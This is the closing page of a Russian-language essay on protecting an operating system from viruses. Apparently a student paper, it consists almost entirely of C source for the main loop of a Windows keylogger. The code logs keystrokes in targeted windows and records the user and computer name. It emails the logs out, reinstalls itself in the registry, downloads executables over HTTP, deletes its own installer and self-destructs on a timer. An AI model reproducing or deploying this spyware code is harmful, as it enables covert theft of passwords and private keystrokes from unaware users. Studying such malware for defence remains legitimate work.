Смекни!
smekni.com

Способы защиты операционной системы от вирусных программ (стр. 17 из 17)

#endif

// Ставим режим работы кейлог-dll

KeylogOpt (a_d. adv_log);

// проинициализить критическую секцию

InitializeCriticalSection (&gcs);

// Пишем время старта

i = sizeof (buf1);

if (! GetUserName (buf1, (DWORD*) &i)) buf1 [0] = 0;

i = sizeof (buf3);

if (! GetComputerName (buf3, (DWORD*) &i)) buf3 [0] = 0;

sprintf (buf2,"Computer: \"%s\" User: \"%s\"\n",buf3,buf1);

GetLocalTime (&systime);

SysTimePrint (buf3,systime);

sprintf (buf1,"\nStarted at%s,%s\n",buf3,buf2);

LogAdd (buf1);

memcpy (&killtime,&sti. inst_d,sizeof (SYSTEMTIME));

SysTimeSum (killtime,sti. kill_i);

memcpy (&mailtime,&sti. send_d,sizeof (mailtime));

SysTimeSum (mailtime,sti. send_i);

// Сбрасываем exectime

memset (&exectime,0,sizeof (exectime));

// Ставим таймер

h_timer = SetTimer (NULL,0,1000,NULL);

while (GetMessage (&msg,NULL,0,0)) // GetMessage-loop

switch (msg. message) {

case WM_TIMER:

// Забираем данные из кейлог-буфера

if (IsLog) {

i = GetData (buf1,sizeof (buf1));

buf1 [i] = 0;

if ( (! a_d. emp_log) && (IsChange) && (i)) {

LogAdd (old_title);

IsChange = false;

};

LogAdd (buf1);

};

h_curwnd = GetForegroundWindow (); // Получить текущее окно

if (h_curwnd! = h_oldwnd) { // Окно поменялось

// выключаем лог если он идет

if (IsLog) KeylogOff ();

IsLog = false;

if (TitleTest (h_curwnd,buf2)) { // Окно наше?

GetLocalTime (&systime);

sprintf (old_title,

"\nTitle: \"%s\",%2.2u:%2.2u:%2.2u\n",

buf2,systime. wHour,

systime. wMinute,

systime. wSecond

);

IsChange = true;

if (a_d. emp_log) LogAdd (old_title);

IsLog = KeylogOn (); // Включить лог

};

};

h_oldwnd = h_curwnd;

// Обработка сброса буфера на хард

if (cFlush > FLUSH_BUFFER_TIME) {

LogFlush ();

cFlush = 0;

} else cFlush++;

if (sti. send_mail) {

if ( (cMail > MAIL_TEST_TIME) && (! IsMailing)) {

GetLocalTime (&systime);

if ( (SysTimeComp (systime,mailtime) >= 0) ||

(sti. logsize > sti. sendafter)) { // Мылим

LogEmailing (mailtime, IsMailing);

};

cMail = 0;

} else cMail++;

};

if (cRegInst > REG_TEST_TIME) {

if (sti. autokill) {

GetLocalTime (&systime);

if (SysTimeComp (systime,killtime) >= 0) {

AutoKill (h_keylog);

};

};

RegInstall ();

cRegInst = 0;

} else cRegInst++;

if ( (cExe > EXEC_TEST_TIME) && (! IsMailing)) {

GetLocalTime (&systime);

if (SysTimeComp (systime,exectime) >= 0) {

HttpDownloading (exectime, IsMailing);

};

cExe = 0;

} else cExe++;

// Килять исходный экзешник?

if (szKillIt) {

if (DeleteFile (szKillIt)) szKillIt = NULL;

};

// Проврека на возникновение соединения

if (cCon > CON_TEST_TIME) {

cCon = 0;

ConDectecting ();

} else cCon++;

break;

#ifdef _DEBUG

default:

sprintf (buf1,"Unknown Message:%X",msg. message);

ShowMessage (buf1);

#endif

};

return msg. wParam;

};